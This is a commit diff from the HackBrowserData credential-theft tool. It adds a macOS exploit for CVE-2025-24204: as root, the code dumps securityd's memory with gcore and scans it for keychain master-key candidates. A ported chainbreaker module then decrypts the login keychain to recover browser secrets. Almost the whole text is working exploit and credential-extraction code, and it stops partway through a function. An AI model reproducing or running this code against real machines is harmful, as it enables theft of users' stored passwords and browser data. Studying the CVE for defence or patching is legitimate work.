mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-08-17 23:57:12 +02:00
feat: Decrypt the browser master key on macOS via CVE-2025-24204 (#494)
* feat: Decrypt the browser master key on macOS via CVE-2025-24204 * fix: resolve lint warnings and stabilize tests * feat: default to gcoredump key extraction on macOS
This commit is contained in:
@@ -11,6 +11,7 @@ import (
|
|||||||
"os/exec"
|
"os/exec"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||||
"github.com/moond4rk/hackbrowserdata/log"
|
"github.com/moond4rk/hackbrowserdata/log"
|
||||||
"github.com/moond4rk/hackbrowserdata/types"
|
"github.com/moond4rk/hackbrowserdata/types"
|
||||||
@@ -24,6 +25,18 @@ var (
|
|||||||
func (c *Chromium) GetMasterKey() ([]byte, error) {
|
func (c *Chromium) GetMasterKey() ([]byte, error) {
|
||||||
// don't need chromium key file for macOS
|
// don't need chromium key file for macOS
|
||||||
defer os.Remove(types.ChromiumKey.TempFilename())
|
defer os.Remove(types.ChromiumKey.TempFilename())
|
||||||
|
|
||||||
|
// Try get the master key via gcoredump(CVE-2025-24204)
|
||||||
|
secret, err := gcoredump.DecryptKeychain(c.storage)
|
||||||
|
if err == nil && secret != "" {
|
||||||
|
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
|
||||||
|
if key, err := c.parseSecret([]byte(secret)); err == nil {
|
||||||
|
return key, nil
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
|
||||||
|
}
|
||||||
|
|
||||||
// Get the master key from the keychain
|
// Get the master key from the keychain
|
||||||
// $ security find-generic-password -wa 'Chrome'
|
// $ security find-generic-password -wa 'Chrome'
|
||||||
var (
|
var (
|
||||||
@@ -43,10 +56,15 @@ func (c *Chromium) GetMasterKey() ([]byte, error) {
|
|||||||
return nil, errors.New(stderr.String())
|
return nil, errors.New(stderr.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
secret := bytes.TrimSpace(stdout.Bytes())
|
return c.parseSecret(stdout.Bytes())
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
|
||||||
|
secret = bytes.TrimSpace(secret)
|
||||||
if len(secret) == 0 {
|
if len(secret) == 0 {
|
||||||
return nil, errWrongSecurityCommand
|
return nil, errWrongSecurityCommand
|
||||||
}
|
}
|
||||||
|
|
||||||
salt := []byte("saltysalt")
|
salt := []byte("saltysalt")
|
||||||
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
||||||
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
|
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
|
||||||
|
|||||||
@@ -0,0 +1,227 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package gcoredump
|
||||||
|
|
||||||
|
// CVE-2025-24204
|
||||||
|
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
|
||||||
|
// https://support.apple.com/en-us/122373
|
||||||
|
|
||||||
|
import (
|
||||||
|
"debug/macho"
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/unix"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/log"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
homeDir, _ = os.UserHomeDir()
|
||||||
|
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
|
||||||
|
)
|
||||||
|
|
||||||
|
func GetMacOSVersion() string {
|
||||||
|
v, err := unix.Sysctl("kern.osproductversion")
|
||||||
|
if err == nil {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func FindProcessByName(name string, forceRoot bool) (int, error) {
|
||||||
|
buf, err := unix.SysctlRaw("kern.proc.all")
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
|
||||||
|
if len(buf)%kinfoSize != 0 {
|
||||||
|
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
|
||||||
|
}
|
||||||
|
|
||||||
|
count := len(buf) / kinfoSize
|
||||||
|
for i := 0; i < count; i++ {
|
||||||
|
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
|
||||||
|
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
|
||||||
|
pname := byteSliceToString(proc.Proc.P_comm[:])
|
||||||
|
if pname == name {
|
||||||
|
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
|
||||||
|
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
|
||||||
|
// If P_ppid is missing, we can rely on P_ruid.
|
||||||
|
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
|
||||||
|
return int(proc.Proc.P_pid), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0, fmt.Errorf("securityd process not found")
|
||||||
|
}
|
||||||
|
|
||||||
|
type addressRange struct {
|
||||||
|
start uint64
|
||||||
|
end uint64
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecryptKeychain(storagename string) (string, error) {
|
||||||
|
if os.Geteuid() != 0 {
|
||||||
|
return "", errors.New("requires root privileges")
|
||||||
|
}
|
||||||
|
|
||||||
|
// find securityd PID
|
||||||
|
pid, err := FindProcessByName("securityd", true)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to find securityd pid: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
|
||||||
|
defer os.Remove(corePath)
|
||||||
|
|
||||||
|
// dump securityd memory:
|
||||||
|
// gcore -d -s -v -o core_path PID
|
||||||
|
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// find MALLOC_SMALL regions
|
||||||
|
regions, err := findMallocSmallRegions(pid)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// open core dump
|
||||||
|
cmf, err := macho.Open(corePath)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to open core dump: %w", err)
|
||||||
|
}
|
||||||
|
defer cmf.Close()
|
||||||
|
|
||||||
|
// scan regions
|
||||||
|
var candidates []string
|
||||||
|
seen := make(map[string]struct{})
|
||||||
|
for _, region := range regions {
|
||||||
|
// read region data
|
||||||
|
data, vaddr, err := getMallocSmallRegionData(cmf, region)
|
||||||
|
if err != nil {
|
||||||
|
// Region might not be in core dump or other error, skip
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// Search for pattern
|
||||||
|
// 0x18 (8 bytes) followed by pointer (8 bytes)
|
||||||
|
for i := 0; i < len(data)-16; i += 8 {
|
||||||
|
val := binary.LittleEndian.Uint64(data[i : i+8])
|
||||||
|
if val == 0x18 {
|
||||||
|
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
|
||||||
|
if ptr >= region.start && ptr <= region.end {
|
||||||
|
offset := ptr - vaddr
|
||||||
|
if offset+0x18 <= uint64(len(data)) {
|
||||||
|
masterKey := make([]byte, 0x18)
|
||||||
|
copy(masterKey, data[offset:offset+0x18])
|
||||||
|
|
||||||
|
keyStr := fmt.Sprintf("%x", masterKey)
|
||||||
|
if _, found := seen[keyStr]; !found {
|
||||||
|
candidates = append(candidates, keyStr)
|
||||||
|
seen[keyStr] = struct{}{}
|
||||||
|
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// fuzz master key candidates
|
||||||
|
for _, candidate := range candidates {
|
||||||
|
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
|
||||||
|
if err != nil {
|
||||||
|
log.Debugf("Failed to unlock keychain: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
records, err := kc.DumpGenericPasswords()
|
||||||
|
if err != nil {
|
||||||
|
log.Debugf("Failed to unlock keychain: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, rec := range records {
|
||||||
|
if rec.Account == storagename {
|
||||||
|
// TODO decode base64 password
|
||||||
|
if rec.PasswordBase64 {
|
||||||
|
}
|
||||||
|
return rec.Password, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func findMallocSmallRegions(pid int) ([]addressRange, error) {
|
||||||
|
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
|
||||||
|
output, err := cmd.Output()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var regions []addressRange
|
||||||
|
lines := strings.Split(string(output), "\n")
|
||||||
|
for _, line := range lines {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if strings.HasPrefix(line, "MALLOC_SMALL") {
|
||||||
|
parts := strings.Fields(line)
|
||||||
|
if len(parts) < 2 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
rangeStr := parts[1]
|
||||||
|
rangeParts := strings.Split(rangeStr, "-")
|
||||||
|
if len(rangeParts) != 2 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
regions = append(regions, addressRange{start: start, end: end})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return regions, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
|
||||||
|
for _, seg := range f.Loads {
|
||||||
|
if s, ok := seg.(*macho.Segment); ok {
|
||||||
|
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
|
||||||
|
data := make([]byte, s.Filesz)
|
||||||
|
_, err := s.ReadAt(data, 0)
|
||||||
|
if err != nil {
|
||||||
|
return nil, 0, err
|
||||||
|
}
|
||||||
|
return data, s.Addr, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil, 0, fmt.Errorf("region not found in core dump")
|
||||||
|
}
|
||||||
|
|
||||||
|
func byteSliceToString(s []byte) string {
|
||||||
|
for i, v := range s {
|
||||||
|
if v == 0 {
|
||||||
|
return string(s[:i])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return string(s)
|
||||||
|
}
|
||||||
@@ -0,0 +1,695 @@
|
|||||||
|
package chainbreaker
|
||||||
|
|
||||||
|
// Logic ported from https://github.com/n0fate/chainbreaker
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/cipher"
|
||||||
|
"crypto/des"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/binary"
|
||||||
|
"encoding/hex"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
"unicode/utf8"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
atomSize = 4
|
||||||
|
headerSize = 20
|
||||||
|
schemaSize = 8
|
||||||
|
tableHeaderSize = 28
|
||||||
|
keyBlobRecordHeaderSize = 132
|
||||||
|
keyBlobStructSize = 24
|
||||||
|
genericPasswordHeaderSize = 22 * 4
|
||||||
|
blockSize = 8
|
||||||
|
keyLength = 24
|
||||||
|
metadataOffsetAdjustment = 0x38
|
||||||
|
keyBlobMagic uint32 = 0xFADE0711
|
||||||
|
keychainSignature = "kych"
|
||||||
|
secureStorageGroup = "ssgp"
|
||||||
|
keychainLockedSignature = "[Invalid Password / Keychain Locked]"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
cssmDBRecordTypeAppDefinedStart uint32 = 0x80000000
|
||||||
|
cssmGenericPassword = cssmDBRecordTypeAppDefinedStart + 0
|
||||||
|
cssmMetadata = cssmDBRecordTypeAppDefinedStart + 0x8000
|
||||||
|
cssmDBRecordTypeOpenGroupStart uint32 = 0x0000000A
|
||||||
|
cssmSymmetricKey = cssmDBRecordTypeOpenGroupStart + 7
|
||||||
|
)
|
||||||
|
|
||||||
|
const dbBlobSize = 92
|
||||||
|
|
||||||
|
var magicCMSIV = []byte{0x4a, 0xdd, 0xa2, 0x2c, 0x79, 0xe8, 0x21, 0x05}
|
||||||
|
|
||||||
|
type Keychain struct {
|
||||||
|
buf []byte
|
||||||
|
header applDBHeader
|
||||||
|
tableList []uint32
|
||||||
|
tableEnum map[uint32]int
|
||||||
|
dbblob dbBlob
|
||||||
|
baseAddr int
|
||||||
|
dbKey []byte
|
||||||
|
keyList map[string][]byte
|
||||||
|
}
|
||||||
|
|
||||||
|
type applDBHeader struct {
|
||||||
|
Signature [4]byte
|
||||||
|
Version uint32
|
||||||
|
HeaderSize uint32
|
||||||
|
SchemaOffset uint32
|
||||||
|
AuthOffset uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type applDBSchema struct {
|
||||||
|
SchemaSize uint32
|
||||||
|
TableCount uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type tableHeader struct {
|
||||||
|
TableSize uint32
|
||||||
|
TableID uint32
|
||||||
|
RecordCount uint32
|
||||||
|
Records uint32
|
||||||
|
IndexesOffset uint32
|
||||||
|
FreeListHead uint32
|
||||||
|
RecordNumbersCount uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type dbBlob struct {
|
||||||
|
StartCryptoBlob uint32
|
||||||
|
TotalLength uint32
|
||||||
|
Salt []byte
|
||||||
|
IV []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
type keyBlobRecordHeader struct {
|
||||||
|
RecordSize uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type keyBlob struct {
|
||||||
|
Magic uint32
|
||||||
|
StartCryptoBlob uint32
|
||||||
|
TotalLength uint32
|
||||||
|
IV []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
type genericPasswordHeader struct {
|
||||||
|
RecordSize uint32
|
||||||
|
SSGPArea uint32
|
||||||
|
CreationDate uint32
|
||||||
|
ModDate uint32
|
||||||
|
Description uint32
|
||||||
|
Comment uint32
|
||||||
|
Creator uint32
|
||||||
|
Type uint32
|
||||||
|
PrintName uint32
|
||||||
|
Alias uint32
|
||||||
|
Account uint32
|
||||||
|
Service uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type ssgpBlock struct {
|
||||||
|
Magic []byte
|
||||||
|
Label []byte
|
||||||
|
IV []byte
|
||||||
|
EncryptedPassword []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
type genericPassword struct {
|
||||||
|
Description string
|
||||||
|
Creator string
|
||||||
|
Type string
|
||||||
|
PrintName string
|
||||||
|
Alias string
|
||||||
|
Account string
|
||||||
|
Service string
|
||||||
|
Created string
|
||||||
|
LastModified string
|
||||||
|
Password string
|
||||||
|
PasswordBase64 bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func New(path, unlockHex string) (*Keychain, error) {
|
||||||
|
buf, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
hdr, err := parseHeader(buf)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if string(hdr.Signature[:]) != keychainSignature {
|
||||||
|
return nil, fmt.Errorf("invalid keychain signature: %q", hdr.Signature)
|
||||||
|
}
|
||||||
|
|
||||||
|
schema, tableList, err := parseSchema(buf, hdr.SchemaOffset)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if schema.TableCount == 0 {
|
||||||
|
return nil, errors.New("schema does not list any tables")
|
||||||
|
}
|
||||||
|
|
||||||
|
kc := &Keychain{
|
||||||
|
buf: buf,
|
||||||
|
header: hdr,
|
||||||
|
tableList: tableList,
|
||||||
|
tableEnum: make(map[uint32]int),
|
||||||
|
keyList: make(map[string][]byte),
|
||||||
|
}
|
||||||
|
if err := kc.buildTableIndex(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
metaOffset, err := kc.getTableOffset(cssmMetadata)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
kc.baseAddr = headerSize + int(metaOffset) + metadataOffsetAdjustment
|
||||||
|
if kc.baseAddr+dbBlobSize > len(kc.buf) {
|
||||||
|
return nil, errors.New("db blob exceeds file size")
|
||||||
|
}
|
||||||
|
blob, err := parseDBBlob(kc.buf[kc.baseAddr : kc.baseAddr+dbBlobSize])
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
kc.dbblob = blob
|
||||||
|
|
||||||
|
masterKey, err := decodeUnlockKey(unlockHex)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
dbKey, err := kc.findWrappingKey(masterKey)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
kc.dbKey = dbKey
|
||||||
|
|
||||||
|
if err := kc.generateKeyList(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return kc, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseHeader(buf []byte) (applDBHeader, error) {
|
||||||
|
if len(buf) < headerSize {
|
||||||
|
return applDBHeader{}, errors.New("file too small for header")
|
||||||
|
}
|
||||||
|
hdr := applDBHeader{}
|
||||||
|
copy(hdr.Signature[:], buf[:4])
|
||||||
|
hdr.Version = binary.BigEndian.Uint32(buf[4:8])
|
||||||
|
hdr.HeaderSize = binary.BigEndian.Uint32(buf[8:12])
|
||||||
|
hdr.SchemaOffset = binary.BigEndian.Uint32(buf[12:16])
|
||||||
|
hdr.AuthOffset = binary.BigEndian.Uint32(buf[16:20])
|
||||||
|
return hdr, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSchema(buf []byte, offset uint32) (applDBSchema, []uint32, error) {
|
||||||
|
if int(offset)+schemaSize > len(buf) {
|
||||||
|
return applDBSchema{}, nil, errors.New("schema offset exceeds file size")
|
||||||
|
}
|
||||||
|
schema := applDBSchema{}
|
||||||
|
start := int(offset)
|
||||||
|
schema.SchemaSize = binary.BigEndian.Uint32(buf[start : start+4])
|
||||||
|
schema.TableCount = binary.BigEndian.Uint32(buf[start+4 : start+8])
|
||||||
|
|
||||||
|
baseAddr := headerSize + schemaSize
|
||||||
|
tableList := make([]uint32, schema.TableCount)
|
||||||
|
for i := 0; i < int(schema.TableCount); i++ {
|
||||||
|
pos := baseAddr + i*atomSize
|
||||||
|
if pos+atomSize > len(buf) {
|
||||||
|
return applDBSchema{}, nil, errors.New("table list exceeds file size")
|
||||||
|
}
|
||||||
|
tableList[i] = binary.BigEndian.Uint32(buf[pos : pos+atomSize])
|
||||||
|
}
|
||||||
|
return schema, tableList, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseDBBlob(buf []byte) (dbBlob, error) {
|
||||||
|
if len(buf) < dbBlobSize {
|
||||||
|
return dbBlob{}, errors.New("db blob buffer too small")
|
||||||
|
}
|
||||||
|
blob := dbBlob{}
|
||||||
|
blob.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12])
|
||||||
|
blob.TotalLength = binary.BigEndian.Uint32(buf[12:16])
|
||||||
|
// Salt and IV are located after the random signature (16 bytes), sequence (4 bytes),
|
||||||
|
// and DB parameters (8 bytes) inside the blob structure.
|
||||||
|
blob.Salt = append([]byte{}, buf[44:64]...)
|
||||||
|
blob.IV = append([]byte{}, buf[64:72]...)
|
||||||
|
return blob, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func decodeUnlockKey(hexKey string) ([]byte, error) {
|
||||||
|
cleaned := strings.TrimSpace(hexKey)
|
||||||
|
cleaned = strings.TrimPrefix(cleaned, "0x")
|
||||||
|
key, err := hex.DecodeString(cleaned)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("unable to decode unlock key: %w", err)
|
||||||
|
}
|
||||||
|
if len(key) != keyLength {
|
||||||
|
return nil, fmt.Errorf("unlock key must be %d bytes (got %d)", keyLength, len(key))
|
||||||
|
}
|
||||||
|
return key, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) buildTableIndex() error {
|
||||||
|
for idx, offset := range kc.tableList {
|
||||||
|
if offset == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
meta, _, err := kc.getTable(offset)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, exists := kc.tableEnum[meta.TableID]; !exists {
|
||||||
|
kc.tableEnum[meta.TableID] = idx
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(kc.tableEnum) == 0 {
|
||||||
|
return errors.New("unable to derive table index")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) getTableOffset(tableID uint32) (uint32, error) {
|
||||||
|
idx, ok := kc.tableEnum[tableID]
|
||||||
|
if !ok || idx >= len(kc.tableList) {
|
||||||
|
return 0, fmt.Errorf("table id %d not present", tableID)
|
||||||
|
}
|
||||||
|
return kc.tableList[idx], nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) getTableFromType(tableID uint32) (tableHeader, []uint32, error) {
|
||||||
|
offset, err := kc.getTableOffset(tableID)
|
||||||
|
if err != nil {
|
||||||
|
return tableHeader{}, nil, err
|
||||||
|
}
|
||||||
|
return kc.getTable(offset)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) getTable(offset uint32) (tableHeader, []uint32, error) {
|
||||||
|
base := headerSize + int(offset)
|
||||||
|
if base < 0 || base+tableHeaderSize > len(kc.buf) {
|
||||||
|
return tableHeader{}, nil, errors.New("table header exceeds file size")
|
||||||
|
}
|
||||||
|
meta := tableHeader{}
|
||||||
|
data := kc.buf[base : base+tableHeaderSize]
|
||||||
|
meta.TableSize = binary.BigEndian.Uint32(data[0:4])
|
||||||
|
meta.TableID = binary.BigEndian.Uint32(data[4:8])
|
||||||
|
meta.RecordCount = binary.BigEndian.Uint32(data[8:12])
|
||||||
|
meta.Records = binary.BigEndian.Uint32(data[12:16])
|
||||||
|
meta.IndexesOffset = binary.BigEndian.Uint32(data[16:20])
|
||||||
|
meta.FreeListHead = binary.BigEndian.Uint32(data[20:24])
|
||||||
|
meta.RecordNumbersCount = binary.BigEndian.Uint32(data[24:28])
|
||||||
|
|
||||||
|
recordBase := base + tableHeaderSize
|
||||||
|
recordList := make([]uint32, 0, meta.RecordCount)
|
||||||
|
for idx := 0; idx < int(meta.RecordCount); idx++ {
|
||||||
|
pos := recordBase + idx*atomSize
|
||||||
|
if pos+atomSize > len(kc.buf) {
|
||||||
|
return meta, recordList, errors.New("record offset exceeds file size")
|
||||||
|
}
|
||||||
|
value := binary.BigEndian.Uint32(kc.buf[pos : pos+atomSize])
|
||||||
|
if value != 0 && value%4 == 0 {
|
||||||
|
recordList = append(recordList, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return meta, recordList, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) findWrappingKey(master []byte) ([]byte, error) {
|
||||||
|
start := kc.baseAddr + int(kc.dbblob.StartCryptoBlob)
|
||||||
|
end := kc.baseAddr + int(kc.dbblob.TotalLength)
|
||||||
|
if start < 0 || end > len(kc.buf) || start >= end {
|
||||||
|
return nil, errors.New("db blob cipher bounds invalid")
|
||||||
|
}
|
||||||
|
plain, err := kcdecrypt(master, kc.dbblob.IV, kc.buf[start:end])
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if len(plain) < keyLength {
|
||||||
|
return nil, errors.New("db key shorter than expected")
|
||||||
|
}
|
||||||
|
return append([]byte{}, plain[:keyLength]...), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) generateKeyList() error {
|
||||||
|
_, records, err := kc.getTableFromType(cssmSymmetricKey)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
for _, recordOffset := range records {
|
||||||
|
index, ciphertext, iv, err := kc.getKeyblobRecord(recordOffset)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
key, err := keyblobDecryption(ciphertext, iv, kc.dbKey)
|
||||||
|
if err != nil || len(key) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
kc.keyList[string(index)] = key
|
||||||
|
}
|
||||||
|
if len(kc.keyList) == 0 {
|
||||||
|
return errors.New("no symmetric keys recovered")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []byte, []byte, error) {
|
||||||
|
base, err := kc.getBaseAddress(cssmSymmetricKey, recordOffset)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, nil, err
|
||||||
|
}
|
||||||
|
if base+keyBlobRecordHeaderSize > len(kc.buf) {
|
||||||
|
return nil, nil, nil, errors.New("keyblob header exceeds file size")
|
||||||
|
}
|
||||||
|
hdr := keyBlobRecordHeader{}
|
||||||
|
hdr.RecordSize = binary.BigEndian.Uint32(kc.buf[base : base+4])
|
||||||
|
_ = binary.BigEndian.Uint32(kc.buf[base+4 : base+8]) // Skip RecordCount
|
||||||
|
|
||||||
|
recordStart := base + keyBlobRecordHeaderSize
|
||||||
|
recordEnd := base + int(hdr.RecordSize)
|
||||||
|
if recordEnd > len(kc.buf) {
|
||||||
|
return nil, nil, nil, errors.New("keyblob record exceeds file size")
|
||||||
|
}
|
||||||
|
record := kc.buf[recordStart:recordEnd]
|
||||||
|
if len(record) < keyBlobStructSize {
|
||||||
|
return nil, nil, nil, errors.New("keyblob structure incomplete")
|
||||||
|
}
|
||||||
|
blob, err := parseKeyBlob(record[:keyBlobStructSize])
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, nil, err
|
||||||
|
}
|
||||||
|
if blob.Magic != keyBlobMagic {
|
||||||
|
return nil, nil, nil, errors.New("unexpected keyblob magic")
|
||||||
|
}
|
||||||
|
if secureStorageGroup != readASCII(record, int(blob.TotalLength)+8, 4) {
|
||||||
|
return nil, nil, nil, errors.New("keyblob not part of secure storage group")
|
||||||
|
}
|
||||||
|
|
||||||
|
cipherStart := int(blob.StartCryptoBlob)
|
||||||
|
cipherEnd := int(blob.TotalLength)
|
||||||
|
if cipherEnd > len(record) || cipherStart >= cipherEnd {
|
||||||
|
return nil, nil, nil, errors.New("invalid cipher bounds")
|
||||||
|
}
|
||||||
|
cipherText := append([]byte{}, record[cipherStart:cipherEnd]...)
|
||||||
|
|
||||||
|
indexStart := int(blob.TotalLength) + 8
|
||||||
|
indexEnd := indexStart + 20
|
||||||
|
if indexEnd > len(record) {
|
||||||
|
return nil, nil, nil, errors.New("key index exceeds record length")
|
||||||
|
}
|
||||||
|
index := append([]byte{}, record[indexStart:indexEnd]...)
|
||||||
|
iv := append([]byte{}, blob.IV...)
|
||||||
|
return index, cipherText, iv, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseKeyBlob(buf []byte) (keyBlob, error) {
|
||||||
|
if len(buf) < keyBlobStructSize {
|
||||||
|
return keyBlob{}, errors.New("key blob buffer too small")
|
||||||
|
}
|
||||||
|
kb := keyBlob{}
|
||||||
|
kb.Magic = binary.BigEndian.Uint32(buf[0:4])
|
||||||
|
kb.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12])
|
||||||
|
kb.TotalLength = binary.BigEndian.Uint32(buf[12:16])
|
||||||
|
kb.IV = append([]byte{}, buf[16:24]...)
|
||||||
|
return kb, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) getBaseAddress(tableID uint32, offset uint32) (int, error) {
|
||||||
|
switch tableID {
|
||||||
|
case 23972, 30912:
|
||||||
|
tableID = 16
|
||||||
|
}
|
||||||
|
tableOffset, err := kc.getTableOffset(tableID)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
base := headerSize + int(tableOffset)
|
||||||
|
if offset != 0 {
|
||||||
|
base += int(offset)
|
||||||
|
}
|
